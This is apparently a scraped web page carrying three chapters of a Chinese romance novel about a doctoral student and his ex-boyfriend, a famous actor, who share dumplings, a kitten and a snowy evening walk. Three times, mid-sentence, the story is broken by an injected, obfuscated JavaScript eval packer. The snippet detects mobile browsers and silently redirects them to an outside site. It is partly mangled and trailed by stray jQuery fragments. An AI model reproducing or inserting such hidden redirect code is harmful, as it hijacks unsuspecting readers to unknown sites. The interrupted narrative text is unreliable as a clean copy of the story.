乔知方一边喝冰可乐,一边把自己从莫名的抑郁情绪里薅了出来。他打算看一会儿书,用学海无涯的死感取代抑郁感。抑郁飘渺不定,死感比抑郁好一些,会让人觉得没死透,努努力还能活—— 骨折了,什么都不能做,但是看书会让他觉得,至少他还在往前走,没有死在路上。 上次读书会,导师问了乔知方几个问题,乔知方忽然想起来了中世纪的感官怀疑论,中世纪的欧洲人觉得感官具有双向性,既是邪恶进入的窗口,也是守卫的哨兵。从这个角度整理或者重审一些作品,是不是可以写成一篇新的论文呢…… 有想法就记一记,都读到博士了,谁的论文也不是一晚上写出来的。 乔知方在书房里用功。 用功了十分钟,他家门铃响了。乔知方当然不会傻到以为是外卖到了—— 他没点外卖。 有个人住得离他家太近了,他觉得自己不如装死算了。他不知道该怎么处理自己和傅旬的关系,就像他不知道为什么十二月傅旬突然跑到柏林去了……那就冷处理。 过了两分钟,门铃不响了。 乔知方松了一口气。 他给手机开了机,怕有人给他打电话,先开了飞行模式,然后打开了微信,看收到的消息。傅旬后来没有再发一串“乔知方”,而是给他拍了一张照片—— 他家门口的照片。 门口放着一份打包好的饺子。 fx.:吃饭 fx.:乔知方,我又不是贼,你那么防我干什么 fx.:[小猴叹气].jpg fx.:我去店里买的,那会儿路过你家看见你家开着灯,感觉你在家,本来想问问你要不要一起去吃。我没吃饭,顺便给你打包了一份 fx.:没下毒 乔知方像是被人戳了断了的肋骨一样,感觉自己胸腔里的某处,酸得让他难受,这种感受又很沉闷,闷闷地发疼,振得整个胸腔都不舒服了起来。 乔知方没给傅旬改微信名。 fx. 傅旬以前开玩笑说,他微信名后面那个点是一滴眼泪,因为乔知方冷暴力他,他被气哭了。 乔知方看着那个点。 小智:谢谢。 小智:【微信转账¥200.00】 fx.:【已退还¥200.00】 fx.:[不客气].gif 乔知方走到了门口,从猫眼里看了看门外没有人,打开了门,去拿傅旬亲自送来的没下毒的外卖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857337|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他往外走了几步,想去找一找傅旬。电梯一梯一户,他不摁电梯,非本层住户没办法坐电梯到这一层,他觉得傅旬应该是走楼梯上来的。 傅旬穿了一件OUR LEGACY的灰色拉链连帽衫,戴着衣服自带的帽子,还套着一件黑色的羽绒服,又戴着口罩,在转角的楼梯口安安静静站着——乔知方猝不及防看到了人影,下意识想往回走。 但是这还能是谁呀,他看清了傅旬,坦坦荡荡地问他:“进来坐一会儿?” 傅旬反而开始客气了,说:“不了,不太好意思进去。我回去了。” “又不是没来过。” “哥,去我家?” “不了吧。” “真不去?” “不去。” “外面下雪了,出一趟小区很辛苦。” “没下雪。” “真的下了。” 乔知方觉得傅旬真够无聊的,自己也真够无聊的,他被他们两个无聊得笑了一下,说:“去你家看猫?” “不是,”傅旬说:“吃饭啊。走吧~我都来看你了。” “嗯嗯,行行行,知道了。”乔知方敷衍着往自己家门口走,说:“我换衣服。” 傅旬伸手抓住了防盗门,说:“换鞋就行,就一起吃个饭,吃完你就回来了。” “那你不来我家吃。” “不好意思进去,总感觉伯伯和阿姨在家。” 吃个饭而已。乔知方一直在躲傅旬,但是其实他不怕傅旬。去就去,乔知方换了鞋,穿上外套,和傅旬出了自己家的单元楼。 傅旬说下雪了,天上没有飘雪花,但是下了一层雪霰,细小坚硬的碎雪珠打在脸上,随即化开,有一点疼。 地上还没有积起雪珠来。 在室外呼吸的时候,口鼻之间带上了白雾。 乔知方忽然想起来一首诗,《诗经·小雅·弁》说:“如彼雨雪,先集维霰。死丧无日,无几相见。乐酒今夕,君子维宴。” 傅旬说:“我说下雪了吧。” 乐酒今夕,君子维宴。乔知方问他:“你的小猫叫什么?” “八万。” “打麻将的时候捡的猫?” “房租八万。” “有这么便宜?” “你想得挺美,一个月八万。” “哥们儿,你挺敢租的。” “不许叫哥们儿” “行、行。” 吹冷风就是舒服啊,身体还带着室内的温度,但是脸被吹得冰凉。乔知方和傅旬走到了他家的单元楼下面,傅旬租的应该是一个大平层。 傅旬说:“叫我一声,我就开门。” “傅旬。” “换一个。” “旬哥,开门吧,我都走过来了。” 傅旬摇摇头。 “傅阳阳,开门。” 傅旬还是不开门。 “哥,你是我哥,开门。” 傅旬听得满意了,暗戳戳顶腮笑了一下,摘下来口罩刷脸把门打开了。乔知方的脾气是真的很好,其实傅旬不招惹他,他大部分时候都懒得和傅旬对着干。 傅旬租的是七楼,两个人坐电梯上去。 傅旬打开了自己家的防盗门。 乔知方犹豫了片刻,还是迈了进去。 “喀哒”一声,防盗门关上了,乔知方问傅旬用不用换鞋。 傅旬脱了羽绒服“咪”了几声叫猫,和他说拖鞋都是新的,随便穿。小猫从沙发下面窜了出来,看见有外人来,又跑了回去。 乔知方放下一路拿过来的外卖,低头换鞋,傅旬替他拍了拍他衣服上的雪粒。 乔知方觉得氛围开始变得不对劲了。 傅旬拍完了乔知方衣服上的雪粒,什么也没做,就只是看乔知方。他看乔知方的眼神不对,他没有在看乔知方的眼睛,而是在看他的嘴唇。 嘴唇等待,等待一个吻。 吻是亲密和距离的悖论。 乔知方要是看不懂傅旬的眼神,那他就是个傻子。他要是不懂为什么傅旬不好意思进他家,他还是个傻子。 乔知方回看傅旬,带着笑看他,从嘴唇看到眼睛,轻轻挑了一下眉,逗他说:“叫哥。” 哥什么哥。 傅旬顶了一下后槽牙,一下子歪头笑了起来,不对劲的氛围瞬间散了,他说:“乔知方,真有你的。” 乔知方继续笑,他很了解傅旬,在这种情况下,傅旬是不可能叫他“哥”的,他只会死活不承认自己年纪小。 10.第10章 论摄影 傅旬不怎么看自己的微博账号,每次他上号,后台都有几百万几千万条未读消息。消息太多了,有@、有私信、有评论,有夸他的、有骂他的、有骂他身边工作人员的、有拿他的私信当备忘录记银行卡密码的…… 他早就养成了不看后台消息的良好习惯。 粉圈爱他、骂他、互相吵架、亲亲抱抱举高高,一群人来来回回玩,玩着玩着就玩出了起承转合最后又把自己哄好了,根本不需要他出现。 他和粉丝的互动主要靠实时的缘分,有时候他发了微博,会回复几条前排粉丝的评论。但他已经有半年多没有回复评论了。 去年夏天,一位粉丝考上了中戏,开学之后拍了学校里的小鸭子给傅旬看—— 网恋被骗九百次:哥哥哥哥我考上大学了,你当初为什么不去中戏!![哭][哭][哭]给你看学校里的小宠物[鸭子] 照片里有一群小鸭子,傅旬回复了一句:“恭喜,这里还是有太多鸭子了。” 没想到第二天,有一个中戏毕业的十八线男星,因为傍富婆劈腿女朋友,还同时劈腿了三个女友,被撕上了热搜。缺德旬丝和乐子人带着“傅旬:恭喜,这里还是有太多鸭子了。”的截图去铺吃瓜博主的评论区,把傅旬的回复玩成了网络热梗。 营销号拿“这里还是有太多鸭子了”做tag,盘点了娱乐圈的一系列乱睡塌房事件。 红是一种玄学事件,傅旬本人自带流量体质,回复一条评论莫名其妙变成了梗。工作人员给傅旬看了热搜,傅旬无奈地笑了一下,半年没敢再和粉丝互动。 乔知方给傅旬拍了照片,傅旬发了新的微博。要过年了,发一条微博很正常。 傅旬的粉丝一直觉得,傅旬本人是个很有割裂感的人,有粉丝看了傅旬的网易云账号,说他最近好像心情很差,每天都在听emo情歌,昨天晚上一直在听“恨的人没死成,爱的人没可能”、“你说是梦所以才痛,但那挫折和恐惧依旧”—— 结果他转手就发了微博,看起来特别开心。 傅旬最近心情确实一直不是很好,但是他的网易云不是他在用,而是工作室在用。私生给他开盒太多次了,他后来直接改用Apple Music听歌了,网易云还在更新是为了让粉丝别再继续找他私人号了。 傅旬发的微博文案是“快乐[耶]”,附带两张照片,一张照片是傅旬自己坐在餐桌前和碗里的三枚饺子的合照,一张是雪地里的live图。第一张照片里笑得眼睛弯起来,看着一脸幸福。 傅旬笑得不像是在媚镜头,他的状态很放松,所以照片只是很单纯地让人觉得,他确实很开心。照片的日常生活感太强了,这次傅旬是真的给粉丝分享了自己在生活中的某个片段。 傅旬已经有很多年没发过这种照片了,平时他发营业照片的话,会带“旬踪追影”的tag,这次也有没带tag。微博发出来,一部分老粉瞬间感觉正主有了情况——是不是要爆嫂子了。 一格信号regina:笑得这么开心,是不是恋爱了[微笑] 一堆粉丝在楼中楼回复“是的,女朋友是我”。 傅旬很直接地回复一句:“没恋爱,没对象。” 悲伤薯格苹果派:谁拍的!! 傅旬:哥哥[比耶] 悲伤薯格苹果派:啊啊啊啊皮下是工作室是不是怎么这么说话,你不许上旬哥的账号!! 傅旬打开前置摄像头拍了一张照片,回了“是我。”两个字加一个句号,附上了一张面无表情比耶的自拍。 粉丝“啊啊啊啊”在楼中楼尖叫。 要过年了,傅旬突然出现,送了粉圈几张照片。粉丝分不清这是春节福利,还是正主有了嫂子想秀,自己被正主扇了大巴掌,开始扒照片,扒拍照时间、拍照手机型号、饺子碗上的倒影、傅旬眼珠里的人影……扒来扒去只扒出来一件显而易见的事:照片确实不是傅旬自己拍的。 Live图可以看手机型号和拍摄时间,傅旬的手机是苹果的最新款ProMax,拍照的手机是上一款ProMax。给他拍照的人,没有仰拍他,估计身高不算矮。 最后,粉丝得出了结论:可能真的像傅旬说的,没嫂子,照片是他哥拍的。女生手小,男生手大,用Pro又个子高的话,或许拍照的确实是个男的。 当然是个男的。 粉丝自己就能把自己哄好,傅旬发了照片回复了三条评论,就没再管评论区了。反正他发微博,主要也不是发给粉丝看的,而发给给他拍照的那个男的看的。 哥哥~ 其实傅旬回复得阴阳怪气的,他才不叫乔知方“哥哥”呢,最多叫“哥”。昨天他给乔知方买了饺子,乔知方来他家给他煮了饺子吃。 傅旬出去买的是现包好但还没煮的饺子,乔知方来他家里把饺子煮了,只煮了自己的那一份,把他的那一份冻了起来。乔知方问傅旬吃几个。 傅旬说:“三个就行。”他不太爱吃饺子。 他也不会做饭。 乔知方读本科的时候,傅旬每学期都会要他的课表,乔知方一般不会在上课的时候回消息,傅旬就在他没课的时候给他发消息,乱七八糟发一堆,最后问他: 哥,吃什么? 等乔知方回完了消息,傅旬就去买菜,乖乖买回来自己想吃的和乔知方点的食材,然后等着乔知方给他做。乔知方最开始给他做饭,是因为他和傅长林闹崩了,傅长林把给他做饭的阿姨解雇了。 傅旬要保持身材,不能乱吃东西,自己不做饭,又不想一直吃外卖,乔知方怕他饿死,从他家冰箱里找出来一根笋,给他炒了一盘笋片。 后来他吃饭的事情就归乔知方管了。 乔知方有时候会做清蒸鱼,做的最多的是胡萝卜丝炒牛肉。 乔知方和傅旬不一样,他和家里人的关系很好。傅旬不知道他在家做不做饭,但是应该是不做的吧。 乔知方煮饺子的时候,傅旬在乔知方背后看着他,忽然觉得,其实乔知方和自己谈恋爱也是真够不容易的,养了自己既是养对象又像养小孩。 傅旬是个爱内耗的人,他想不明白,人怎么能活成傅长林那样,如果人人都有傅长林的好心态,那么抑郁症将消失在地球上—— 傅长林觉得傅旬和自己闹得那么难看,不是因为自己婚内出轨还有了私生子,而是因为乔知方。乔知方阻碍他们父子两个联络感情。 乔知方和傅旬分手了,傅长林一开始很满意。满意了没几天,他来找傅旬,结果傅旬看见他,连眼皮都没抬,直接让助理报警了。 其实傅旬在小时候,很爱傅长林,他觉得自己有一个人人羡慕的爸爸,他有一个令他感到安全和幸福的家。 傅长林的爸是俄罗斯人,傅长林不认识他,他是在单亲家庭里跟着妈妈长大的,傅旬的外婆不希望女儿嫁给跟着妈妈长大的儿子,怕女儿往后受婆婆的气。 傅旬的奶奶觉得傅旬的外公外婆看不起自己和自己儿子,也坚决反对傅长林结婚。 傅长林为了和傅旬妈妈结婚,蓄发明志,努力创业,等他留到了齐肩发,傅旬妈妈和别人结了婚。 傅长林继续等,等到傅旬妈妈离婚,自己也终于创业有成——他立刻求了婚。 傅旬的妈妈和前夫没有孩子。 傅长林是很爱傅旬这个儿子的,他好不容易获得了自己的爱人,他终于和爱人有了自己的孩子、有了他们爱情的结晶,他知道他的爱人最爱的从来只有自己,所以他也尽力去爱自己的家。 但是他变得有钱了,慢慢的,他变得“博爱”了。 傅长林来找傅旬,本来他以为自己退一步,他的好大儿傅旬就能低头,结果他退了一步,傅旬直接把他踹到了沟里。他骂傅旬犟头犟脑,然后再也不来关心这个儿子了。 犟头犟脑,傅旬拿南京话读了一遍这四个字。可能傅长林当他死了吧,挺好的,反正他当傅长林死了。 乔知方在厨房煮完了饺子,和傅旬说:“一会儿自己刷锅。” 傅旬说:“有洗碗机。” “唉……”乔知方笑着叹了一声,问:“你不顶我一句,你就憋得难受是吗?” “呃,不是,我就是说了实话。” “吃饭。” “乔知方,雪下大了,要不你晚上别走了。”傅旬家里拉着窗帘,遮住了外面的雪。傅旬怕被偷拍,一旦家里开灯,必定拉窗帘。 乔知方没接傅旬的话,只说:“端你自己的饺子来。” “三个饺子不够吃,我家里有黄瓜胡萝卜,你帮我做个沙拉吧。” “吃什么沙拉啊,生吃就行了。” 傅旬问乔知方:“唉,乔知方,咱们两个不能复合吗?”然后很快速地说:“你不要装你没听见你肯定听见了。” 你知道的我十八岁就跟了你你得负责。 “不行。” “为什么?”那个时候,傅旬看着灯下的乔知方,忽然很想抱一抱他。真好看啊,乔知方。看多少次都觉得,真好看,看不够。 可惜不是他的。 嗯,不是他的。 傅旬等着乔知方回答他,没想到乔知方说:“我想毕业。” 傅旬以为乔知方至少会说一段话,结果乔知方就说出来了四个字,傅旬被无语得笑了一下,说:“乔知方,你有这个定力,你做什么都会成功的,别说读博了,当你们学院院长都行。” 乔知方说:“院长,那可当不了,也不想走行政岗。” “……”乔知方问傅旬,他不顶自己一句,就憋得难受是吗?傅旬也想这样问乔知方。但是他一张嘴,问出来的是:“那,等你毕业了呢?” “博士毕业了当博士后。” 傅旬捂住了自己的脸,乔知方,真爱学习啊你。学士读完读硕士,硕士读完读博士,博士读完……怎么还有? 他绝望地问乔知方:“给我做份沙拉行不行?” 乔知方说:“我给你削了皮,你直接吃行不行?” “行。” 乔知方打开冰箱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868198|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了一根胡萝卜、一根黄瓜,洗干净又拿厨房纸擦干,给傅旬削了皮。 傅旬把两个人的饺子端到餐桌上,和乔知方说:“给我拍一张照片吧。” “我不给你拍,你怎么办?” 傅旬说:“不怎么办,那我就拍碗里的饺子给粉丝看。” “行吧,那我给你拍一张,你手机呢?” “在羽绒服兜里,懒得拿了,你先拿你手机拍吧,拍完一会儿隔空投送给我。” “那我坐你对面拍,还是站着拍?” “都行。” 乔知方拿出来手机,傅旬知道怎么让乔知方把照片拍得更生活化,只要他给出一点躲镜头的感觉就好了。正常人在回避镜头的时候,整个身体都会向镜头外面躲,这是真的不想被拍。但傅旬只是用微微下垂的眼神躲开了镜头,身体一点都没有动,就像只是在躲开恋人直视过来的眼神—— 他眼里有笑意,他是愿意让自己被对方看着的,但是又有点不好意思。 然后他看向摄像头,歪了歪头,这次换他去看自己的恋人了。 乔知方像是觉得手机烫手,说:“拍完了拍完了!” 傅旬说:“哇,哥你能不能好好拍,你好糊弄。” 乔知方说:“我拍了呀!” 傅旬一口咬定:“肯定很难看。” “你自己看看,拍得行不行?”乔知方把自己的手机递给傅旬。 傅旬看了一眼照片,确实拍得不难看,他憋起来笑意,装出来很正经的表情,逗乔知方说:“乔知方,你好好拍行不行?你都答应人家了呀,就得好好拍。” 乔知方说:“你饺子都凉了。” “我就喜欢吃凉的。” 乔知方被他一句话顶得笑了一下,无语地说:“行!” 傅旬又把乔知方的手机还给了他,继续让他拍自己。他看着镜头,问乔知方:“我帅吗?” “帅!” “有多帅?” “呃……” “不许糊弄。” 乔知方轻轻吸了一口气,说:“无语了这是谁啊长这么好看,和天上的星星月亮一样,脸蛋怎么比博物馆里的雕塑还完美无瑕,是哪个不负责的把艺术品偷出来了……后面忘了。” 傅旬听着听着就开始笑,笑得低下头捂住了脸,乔知方从谁的评论区偷的土味评论啊。 “拍完了,这次我好好拍的啊。” “嗯嗯。”傅旬不逗乔知方了,点了点头,也不看照片,直接问他:“吃饭?” 乔知方坐了下来,和傅旬一起吃饺子。傅旬问了问乔知方这几年怎么样,读博是不是压力很大,又说了几件和自己有关的不痛不痒的私事,老老实实吃完了一顿晚饭。 他问乔知方怎么自己在家,伯伯阿姨去哪里了。 乔知方说他爸爸妈妈度假去了,自己想在家休息。 吃完了饭,傅旬刷锅刷碗,乔知方去客厅里看猫。八万还很小,傅旬刚把它带回来没多久,它还不太信任傅旬,更不信任乔知方,一直在沙发底下躲着。 傅旬洗干净手,递给乔知方一根逗猫棒,乔知方逗了半天,把八万从沙发底下叫了出来。 八万还没打完三联疫苗,也还没打狂犬疫苗,傅旬不太敢摸它。 他们两个在地毯上坐着,房间里的地暖充足。 乔知方说:“你的猫真小啊。” 傅旬说:“要不我们也不捡它……太小了,感觉不捡回来它就死了。” “嗯,好人。” 傅旬问乔知方:“你想看看雪吗?外面真的在下雪。” “那就看看?” 傅旬站起来,关了家里所有的灯,拉开了窗帘。他租的是大平层,沙发后面、左面都有大扇的落地窗,拉开落地窗旁边的玻璃门,就能走到室外。 落地窗外面,雪簌簌地下,傅旬推开门去室外感受了一下雪的温度,小区的地面上已经有了积雪。 他拍了拍身上的雪,锁上玻璃门走回了客厅。 室内没有了灯光,显得很暗。 乔知方依旧在地毯上坐着,八万有一下没一下地去扑逗猫棒,逗猫棒上的铃铛丁零响着。 傅旬坐了回去,在黑暗里去看乔知方的脸。 一切人或物都只剩下了模模糊糊的轮廓。 他盯着乔知方的脸,从他的睫毛看到他的嘴唇。模模糊糊的乔知方。 他很想和乔知方接吻。 乔知方偏了一下头,手里的逗猫棒又动了两下。 傅旬用手去摸八万的下巴,和乔知方说:“雪下得挺大的,今天是真下雪了。” 乔知方说:“需要我给你拍照吗?” 傅旬说:“行呀。” 行,乔知方。傅旬异常地想抓住乔知方——不是物理意义上的去抓住他。他希望乔知方总是和自己绑在一起,他们两个永远纠缠不清。永远。 如果你给我拍,我会发出来。 我希望我和你的生活里,都避不开彼此的痕迹。 11.第11章 颐和园 乔知方梦见自己在摸傅旬的喉结,傅旬把脸凑了过来,抓着他的手往下走,他有点着急,扯了一把傅旬的衣服,傅旬摁到了他的肋骨—— 把他疼醒了。 疼得乔知方在床上躺着,缓了好久。他想起来自己左边的第六第七根肋骨断了。 夏娃是上帝在亚当睡觉的时候,抽亚当的肋骨造出的。亚当睡醒的时候,肋骨会痛吗?被伤害的肋骨,意味着爱人的出现。 其实乔知方不是第一次梦见傅旬了,有欲望是无比正常的事情,在欲望之外,有时候他醒过来,会很想说一句,我好想你。 但是想没有用。 乔知方觉得自己和傅旬早就不顺路了。 昨天傅旬问乔知方:“唉,乔知方,咱们两个不能复合吗?你不要装你没听见你肯定听见了。” 乔知方回傅旬说自己想毕业,他没有和傅旬开玩笑,他是很认真地和傅旬说的。毕业让人烦躁,乔知方觉得自己像一块耗电过度的电池,偶尔回复一点电量,让他能和傅旬在一起拌拌嘴、开几个玩笑。 可是,真的再谈一场恋爱,他好像没有那样的力气了。 好像也没有那样的勇气了,十八九岁、二十岁刚开头的时候,觉得爱可以吞没一切恶意、战胜所有难关的勇气。 傅旬其实是个很敏感的人。乔知方问自己:你想不想和傅旬有以后。他以前太想和傅旬有以后了,现在他不知道。 现在他只是觉得,如果他想和傅旬有以后,那他就应该先顺顺利利毕业。毕业、毕业、毕业,论文,课题,国家社科基金后期资助项目…… 熟悉的烦躁感又回到了他的身上。学,他真是上够了,他已经上到不想再上了。 他叹了一声,拿起来手机,手机显示12:09,又睡到了下午。 微信有20多条未读消息。 乔知方去洗了澡,顺便换了床单床罩,把床上用品都塞进了洗衣机里。 洗衣机继续工作,乔知方洗完澡,先回了妈妈的消息。妈妈在家庭群里问他这几天怎么样,他说自己已经回家了,滑雪滑够了,滑得很开心,然后发了几张照片和一小段视频。之后回了其他人的消息。 他最后打开了和傅旬的对话框,有5条消息。 fx.:乔知方,起床了 fx.:IMG_476830987.jpg fx.:小猫吃饭了 fx.:乔知方 fx.:乔知方 消息是早上六点多发过来的,乔知方也不知道傅旬是睡醒了还是硬熬到了六点多。小猫要吃饭,傅旬给八万加了猫粮,拍了一张蹲在猫食盆旁边瘦瘦小小的八万。 乔知方和傅旬的作息都很混乱。乔知方感觉傅旬像是继续睡觉去了,后面没再发消息。 乔知方很少会在早上六点起来,但傅旬有一段时间,每天都六点起床—— 北电要出晨功练气息和发声,傅旬读大一的时候,每天六点多就得起来,人还没睡醒,就开始数枣,洗漱之后念叨着“出东门过大桥大桥底下一树枣”往北电操场走。 傅旬都已经毕业六年了,乔知方觉得傅旬在外貌上的变化不算大,但是气质变了很多,傅旬身上已经没有稚拙的学生气了。 他没有回复傅旬,看见微博有动态提醒,点开了微博,然后看到了傅旬发的新微博:快乐[耶]。 昨天晚上一直在下雪,如果拉开窗帘,窗户外面应该是白色的了。 乔知方往下看评论区,傅尔摩斯怀疑傅旬恋爱了,傅旬回复“没恋爱,没对象。”又回复了一条“哥哥[比耶]”。 哥哥,阴阳怪气的。 有人评论“卧槽真的是哥”,附上了一张小红书截图,在小红书,你可以偶遇全世界。 截图里的照片看着像是在巴沟路附近拍的——到了巴沟,地铁10号线会变成地上地铁。照片拍到了傅旬往前走,走着走着转头去和乔知方说话的瞬间。 拍照的人离得远,拍得看不清傅旬和乔知方两个人的脸,但是傅旬的衣服和他自己发的照片对得上,一对比就知道是他。 傅旬的官方身高是187cm,乔知方比他矮几厘米。傅旬一看就是个男的,好长一条人,乔知方也一看就是男的,看着也高高瘦瘦的,不像是傅旬的工作人员。 小红书截图评论被点赞到了前排,粉丝扒了半天乔知方是不是哪个明星,没扒出来,在楼中楼回复:“兄弟俩感情真好!顺便跟哥哥问个好~”底下跟了一串“哥哥好~”,并且@了傅旬无数次。 傅旬的粉丝,正常的时候,看着真正常。 乔知方退出了微博。 他昨天说给傅旬拍照片,傅旬说在小区里拍容易被粉丝扒出来他住在哪里,于是两个人就出了小区,冒着雪往平时行人就不太多的巴沟路上走。 年前路灯上都挂了装饰,中国结在雪里亮着。路上几乎没有了行人,红绿灯变成了摆设。 所有的路灯都像是只为傅旬和乔知方才亮着的,这条路也是,只为他们两个而存在着。雪也像是只为了今晚才下起来的。 傅旬和乔知方并排走着,走着走着问乔知方:“要不我们去颐和园吧。” 乔知方觉得傅旬异想天开,说:“你还不如说去我们学校呢,颐和园晚上又不开。” 傅旬踢了踢脚底下的雪,说:“那明天去?” “不想去,不太舒服。” “感冒了?” “嗯……嗯,可能吧。”乔知方不想和傅旬说自己肋骨断了。 傅旬说:“好好休息。”说着转头看向乔知方,拍了拍他的胳膊,问他在疫情封控期间,有没有去过颐和园。 乔知方说:“去过,离我们学校那么近,肯定去过呀。” 傅旬问:“人是不是特别少?” “嗯,都没什么人,万寿山北边那边一个人都没有,一片雪坡。”乔知方有时候会往花承阁遗址走,花承阁不对外开放,但是能从墙外看到多宝琉璃塔,黄、绿、青、紫琉璃拼在一起,被红墙衬着,在雪地里显得特别漂亮。 多宝,琉璃的颜色就像宝石。 傅旬问他:“你想不想看《末代皇帝》?咱们两个回去看吧。” 乔知方说:“我回去就该想睡觉了。” 傅旬说:“我去年冬天去过一次故宫,因为疫情封控,故宫里的人不算太多。平时我都不敢去人多的地方。我在故宫里走着走着,想起来你离颐和园很近,其实那个时候,我就很想问你,你冬天里有没有去颐和园……乔知方,你想没想过我?我有时候很想你。” 乔知方闷声说:“想过。” 傅旬说:“我听《末代皇帝》的配乐,有一条评论说:所有的离开你都赶不上,所有的门你都打不开。”他既像是在说溥仪,也像是在说别的事情。 乔知方知道傅旬听的是什么,坂本龙一的《阿嬷在哪?》,《末代皇帝》的演员全都说英语,乳养溥仪长大的阿嬷被送走,年少的溥仪一边追一边哭喊:“but she is my butterfly!” 门把他关住了,他的蝴蝶飞走了。 门。《末代皇帝》是在故宫取的景,乔知方和傅旬一起看《末代皇帝》的时候,傅旬数了数电影里的门,所有的门,溥仪都不出去。 后来溥仪从故宫的午门出去了,可是再回来就要买票了。 乔知方第一次看《末代皇帝》,是和姨妈赵文宇导演一起看的,姨妈说斯托拉罗利用了两套透镜来拍这部电影:皇帝年轻的时候,用标准镜头,让回忆看上去非常暖和,在现实情节里,用更新的镜头,以提供锐利、轮廓分明、略带冷色调的影像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872547|191063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。* 赵导告诉了乔知方电影拍摄在技术上细腻的表现手法。傅旬的年纪不大,但是他一下子抓住了“门”的意象,给了乔知方一种更为感性的冲击。 乔知方一直觉得,傅旬是一个有灵气的演员。 一直。 傅旬最近心情不好,乔知方能感觉出来,他心里压着事情,而且压着不少事情。他问傅旬:“傅旬,你和喜浩文化,是不是闹得挺不愉快的。我感觉你一直不高兴。” 傅旬说:“换谁都一样,别想顺利地走。” “确定不续约了?” “不续了,我的分成本来也不算高。”傅旬说:“我是因为杨姐签的喜浩,杨姐之前帮了我好多忙。杨姐和爱人离婚了,分割完财产,股权被稀释,然后被喜浩踢出去了。” “……是吗。”乔知方也认识杨姐,杨姐像个侠女。乔知方姨妈和杨姐的私交很好,傅旬和前公司解约的时候,杨姐帮傅旬找了律师。 乔知方问傅旬:“什么时候的事情?” 傅旬说:“也就是去年年初的事情,离婚之后,都过了多半年快一年了,我和杨姐一起吃饭,杨姐突然哭了,哭了半个晚上。我陪着杨姐喝酒,看杨姐很难过,我也挺难过的,我本来以为杨姐不伤心的,杨姐怎么能哭成这样呢,杨姐……我一直觉得,杨姐什么都不怕。我就开始想你。”傅旬想起来自己突然也开始跟着杨姐哭,被自己无语得苦笑了一下。 他叹了一声,继续说:“我知道你在国外呢。本来我还想再等两个月,等到柏林电影节之前再去找你,但是我又觉得,感情这种东西,还挺脆弱的。杨姐哭得那么伤心,我酒醒了就买机票了,我的旅游签证是法签,所以我是先到了法国,又去的德国。我要是不找你,乔知方,你这辈子不会主动找我,结果我找了你,你就那么开车走了,去给你姐姐姐夫送牛排去了。” 乔知方说:“那……我不知道嘛。” 傅旬问他:“那你还喜欢我吗。”他盯着乔知方。 他直勾勾地盯着乔知方—— 傅旬的眼睛像黑洞似的,黑得吓人。乔知方觉得自己的心脏在一瞬间狠狠撞了自己一下,耳鼓狂敲,舌头像断了一样。 紧张,又疼痛,茫然,并且恐惧。 手足无措。 傅旬是薄嘴唇,下眼睑的弧度又偏锋利,如果他不笑,脸上就很容易显出来审视和冷漠的神情,甚至带上攻击性。 现在他的眉心是平的,没有蹙着眉,所以并不显得冷漠,但是他确实是在审视乔知方。 乔知方缓了过来,和自己说,大家都是人,他怕傅旬干什么呢。他说:“哈哈。” 傅旬听乔知方“哈哈”了一声,突然笑了,简直是粲然一笑,他歪头说:“那,你答不上来,就是问心有愧。乔知方,你就对我问心有愧吧。” 他的眼睛变得很亮,就像是雪融化在路灯上那样,折出来很多的光。他知道乔知方这个人不怎么说谎。 乔知方不理解傅旬怎么能在短短几秒里,从像鬼一样盯着他变成了笑出来,傅旬的情绪调动能力像一个谜。 他开始转移话题,问傅旬:“……你还拍照吗?” 傅旬说:“哎呀,乔博士、乔老师,能不能你拿到博士学位,向我表白一下。你总暗恋我,也不是个事儿啊,是不是?” 乔知方恼羞成怒,气得笑着歪头问他:“装什么北京人说话呢。” “你老斯暗恋我唉,也不得个事哎,阿是啊?” “……” 傅旬看着乔知方的表情,在路边笑,笑自己终于看透了乔知方,笑乔知方没有地方可以藏了。 雪一直下,乔知方真想抓起一把雪,塞进傅旬的领子里。但是最后他只是揪了一下傅旬的后衣领,说:“诶、诶,该拍照了啊!” 别笑了。 12.第12章 喧哗与骚动 乔知方搞文艺研究,但是本人并没有文艺病,傅旬很喜欢听乔知方概述剧本,他觉得乔知方搞诈骗是有两手的。 傅旬给乔知方看过自己拿到的《年节》剧本大纲,问乔知方感觉怎么样,乔知方说:好。傅旬问:怎么个好法? 乔知方说:像《喧哗与骚动》一样好的好法。 傅旬“嗯?”了一声。 